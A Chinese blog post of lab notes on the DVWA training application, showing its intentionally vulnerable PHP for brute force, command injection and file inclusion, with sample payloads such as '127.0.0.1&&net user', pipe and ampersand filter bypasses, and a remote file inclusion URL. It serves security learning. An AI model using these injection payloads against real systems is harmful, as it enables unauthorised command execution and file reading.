2017.4.6 公司练习题

最新推荐文章于 2022-11-09 20:43:01 发布
最新推荐文章于 2022-11-09 20:43:01 发布
阅读量1.2k 收藏
点赞数
分类专栏： 信安基础学习 学习记录 实习日记 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_28921653/article/details/70224238
版权

1
http://192.168.100.48:88/index.php

2
http://192.168.100.48:88/DVWA-1.0.8/login.php admin/password

Brute Force

low

代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

漏洞利用

medium

代码：

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );


    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

条件：

(isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])

  • isset():
    检测变量是否设置，并且不是 NULL。

  • ___mysqli_ston

link=( GLOBALS[“___mysqli_ston”] = mysqli_connect( hostname, username, $pwd));

相当于数据库连接

  • is_object()

— 检测变量是否是一个对象

  • mysqli_real_escape_string（）:
    转义特殊字符，比如转义单引号，防止影响$sql语句的闭合

php连接MySQL数据库后，在对数据库进行查询或插入操作时，为了防止恶意访问，通常对输入的字符串进行转义。

前一章介绍了mysql与mysqli的区别，如果采用mysql库连接数据库，转义函数有两个

mysql_real_escape_string(string,connection);//第一个参数为需转义字符串，第二个参数为数据库连接。

mysql_escape_string(string);//参数为需转义字符串

从以上函数的定义可以看出，前者需要先连接数据库，而后者不需要。但是mysql的转义方式在php5.3以上的版本中已经弃用，不推荐使用。

漏洞利用：

high

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  //检查token，防止表单重复提交


    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    //stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示：该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。

    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Command Injection

Command Injection，即命令注入，是指通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一，国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

low

代码：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    //stristr() 函数搜索字符串在另一字符串中的第一次出现。

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>
  • php_uname(mode)

这个函数会返回运行php的操作系统的相关描述，参数mode可取值”a” （此为默认，包含序列”s n r v m”里的所有模式），”s ”（返回操作系统名称），”n”（返回主机名），” r”（返回版本名称），”v”（返回版本信息）， ”m”（返回机器类型）。

可以看到，服务器通过判断操作系统执行不同ping命令，但是对ip参数并未做任何的过滤，导致了严重的命令注入漏洞。

漏洞利用:

127.0.0.1&&net user

medium

代码：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    //去掉所有&&或者;符号

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

漏洞利用：

  1. 127.0.0.1&net user

  2. 127.0.0.1&;&net user

high:

代码：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

   //trim() 函数移除字符串两侧的空白字符或其他预定义字符。
   //移除ip以外的字符

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    //去除黑名单中所有的字符

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

漏洞利用：

127.0.0.1|net user

Impossible

代码：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    //以某字符串为界限把xx打散为数组：

    // Check IF each octet is an integer 
    // 检查是否为整数 

    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        //如果都是整数的话，再把4个数字连接起来

        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

漏洞利用：

可以看到，Impossible级别的代码加入了Anti-CSRF token，同时对参数ip进行了严格的限制，只有诸如“数字.数字.数字.数字”的输入才会被接收执行，因此不存在命令注入漏洞。

参考list：

新手指南：DVWA-1.9全级别教程之Command Injection

File Inclusion 文件包含

low

http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file1.php
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file2.php
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file3.php

代码：

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

未对page进行过滤，如果知道本地文件就可以读取出来

服务器期望用户的操作是点击下面的三个链接，服务器会包含相应的文件，并将结果返回。需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用：

1。本地文件包含：

构造url（绝对路径）:

构造url（相对路径）:

加这么多..\是为了保证到达服务器的C盘根目录，可以看到读取是成功的。

2。远程文件包含：

http://192.168.100.45/info.php

构造url


http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=http://192.168.100.45/info.php

medium

代码：

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

//删除 http:// https:// ../ ..\等字符

漏洞利用：

双写绕过

攻击代码：
http://192.168.191.5/DVWA-master/vulnerabilities/fi/?page=http://192.168.191.4/info.php

high

#

3
http://192.168.100.48:7001/console/login/LoginForm.jsp

4
http://192.168.0.117/xss/level1.php?name=test

总结：

  • 看源码时，无非就是变量和函数，最多就是还有一些语法
Anonymity_J
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
2017高考英语阅读练习题4.doc
10-12
2017高考英语阅读练习题4.doc
SQL Injection（回显注入）
陌茗228.的博客
04-11 168
SQL Injection： sql注入 Low： <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; //sql语句 $result = mysqli_
Dvwa Brute force 里面陌生函数及解题
smileprint的博客
09-07 113
Dvwa Brute force 里面陌生函数及解题 result=mysqliquery(result = mysqli_query(result=mysqliq​uery(GLOBALS["___mysqli_ston"], query)ordie(′<pre>′.((isobject(query ) or die( '<pre>' . ((is_object(query)ordie(′<pre>′.((iso​bject(GLOBALS["___mysqli_st
Dvwa之sql注入low到impossible级别详解
Cai1010110的博客
10-25 9317
在这里我所使用的的是Windows 10系统，dvwa+phpstudy_pro进行靶场练习，关于dvwa的介绍网上一搜一大把，在这里就不加以介绍了，我还是把实践内容介绍好吧！我从网上搜到各位大神操作步骤进行整理学习。 本文介绍SQL Injection的相关内容，后续内容会在之后的文章继续介绍。 小白学习中...... Low 后端控制代码 后端代码解析 1、isset()函数在...
dava靶场远程命令执行
qq_52986156的博客
10-19 1035
和中难度一样的过滤方法，过滤的内容增加了尝试双写执行||||带入执行成功。联合逻辑符号&带入其他命令查看可以执行，此处带入的是ip查看命令。通关思路和低难度一样用未过滤的字符&执行后续命令。
dvwa靶场
ing_end的博客
02-26 6264
dvwa靶场 Brute Force (Low) Brute Force，即暴力（破解），是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一。 法一：暴力破解 先随便输一个账号密码不能通过 此时我们进行抓包 通过BP利用字典爆破，得出密码 根据长度的不同可得知password为密码 （medium） 源码分析： <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $us
Java基础编程练习题(50题及答案)2017.doc
09-30
Java 基础编程练习题（50 题及答案）2017.doc Java 是一种广泛使用的编程语言，具有平台独立性、对象orientation、分布式、多线程、动态加载类等特点。Java 语言的基础编程练习题对提高编程能力和理解 Java 语言的...
南理工计算机 作业及解答 1到9章2017.pdf
12-30
6. 计算机性能指标：衡量计算机性能的技术指标包括基本字长、主存容量、运算速度、外部设备性能以及系统软件配置。例如，一台计算机可能具有3GHz的主频，32位的字长，8GB的主存容量，连接有显示器、键盘、鼠标等I/O...
华工《计算机网络》随堂练习2017.pdf
05-15
"华工《计算机网络》随堂练习2017.pdf" 本资源涉及计算机网络的基础知识，涵盖计算机网络的基本概念、Internet 的基本功能、OSI 模型、网络协议、物理层、数据传输等方面。本资源共有 10 道题，涵盖计算机网络的多...
vaxFor2017.rar
07-10
6. **教学资源**：对于教育用途，这个压缩包可能包含了教学材料，如课程大纲、PPT、练习题等，帮助学生理解和掌握VAX体系结构。 【标签】"vaxFor"可能是指“关于VAX的内容”，强调了这个压缩包的核心主题。 【压缩...
MySQLConverterTool：MySQL转换器工具
02-04
介绍 旧MySQL扩展（ ext/mysql ）在PHP 5.5中已弃用，在PHP 7.0中已删除。 该工具将ext/mysql代码转换为ext/mysqli代码，因为ext/mysqli是当前MySQL扩展。 也有PDO_MySQL但是此工具不使用它。 这个工具不是完美的，但是会帮助转换。 另外，一个更快，更简单的短期解决方案是使用捆绑的本机PHP库，例如 。 与其将代码（例如， mysql_connect()为mysqli_connect() ），它使用ext/mysqli在PHP中定义ext/mysql函数。 容易得多，但更多的是短期修复。 尽管php7-mysql-shim的名称中
dvwa medium级别前五漏洞测试
苟有恒，必有三更眠，五更起。
12-24 1218
brute force（暴力破解）发现medium级别直接SQL注入，不行了， 看源码,相比于low级别，medium级别多了这样几行代码：$user = ((isset($GLOBALS["___mysqli_ston"]) &&is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___my
DVWA之命令注入漏洞
qq_40023447的博客
07-17 5099
命令注入 简介： 命令注入是一种攻击，其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将不安全的用户提供的数据（表单、Cookie、HTTP表头等）传递给系统shell时，可能会产生命令注入漏洞。在进行攻击时，攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。 产生原因： web服务器没有对用户提交的参数进行有效的检测过滤 操作系统允许一条语句在使用连接符...
dvwa执行php,DVWA之Command Execution命令执行漏洞
weixin_39790686的博客
03-27 396
Command Execution命令执行漏洞，或称为命令注入漏洞。安全级别为Low时，输入正确的IP地址，提交后返回ping 命令的结果如果输入的值是非IP地址的值，则返回的是不正常结果现在我们输入正确的ip地址以及连接命令，如输入127.0.0.1 && net user返回结果如下：说明除了执行ping 命令外，还执行了net user命令，造成任意命令执行漏洞。查看漏洞源代...
DVWA 之 XSS（stored）存储型XSS
RexHa的博客
10-08 1981
dvwa 存储型XSS
DVWA------Brute Force（暴力破解）
m0_65712192的博客
11-09 1064
DVWA靶场之Brute Force（暴力破解）
DVWA通关教程（上）
热门推荐
qq_50854662的博客
05-22 1万+
简介： DVWA是一款基于PHP和mysql开发的web靶场练习平台，集成了常见的web漏洞如sql注入,xss，密码破解等常见漏洞。本教程将以DVWA为例，演示常见的web漏洞的利用和攻击。 登录创建数据库（账号为admin，密码为password） 登录后界面 在dvwa security选项中，可以调整dvwa的难易程度， Brute Force（暴力破解） Brute Force即为暴力破解，通过枚举获取管理员的账号和密码,在实际的操作中，一般用来破解后台管理系统的登录。
php代码审计【7】存储型xss
司徒荆的博客
06-26 575
php代码审计【7】存储型xss
2. DVWA亲测命令执行漏洞
weixin_30485379的博客
05-24 604
先看low级： 提示让我们输入一个IP地址来实现ping，猜测会是在系统终端中实现的， 我们正常输入127.0.0.1： 那我们就可以利用这个使用其他CMD命令 我们输入127.0.0.1&&net user : 我们顺便看一下源代码 <?php if( isset( $_POST[ 'Submit...
python练习题-答案(2).docx
最新发布
06-12
本资源是一份名为"python练习题-答案(2)"的文档，由郑红波于2017年12月19日编撰。这份文档包含了一组Python编程练习题及其对应的答案，适合学习者进行实践巩固。以下是部分题目和知识点的详细解析： 1. 填空题： -...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值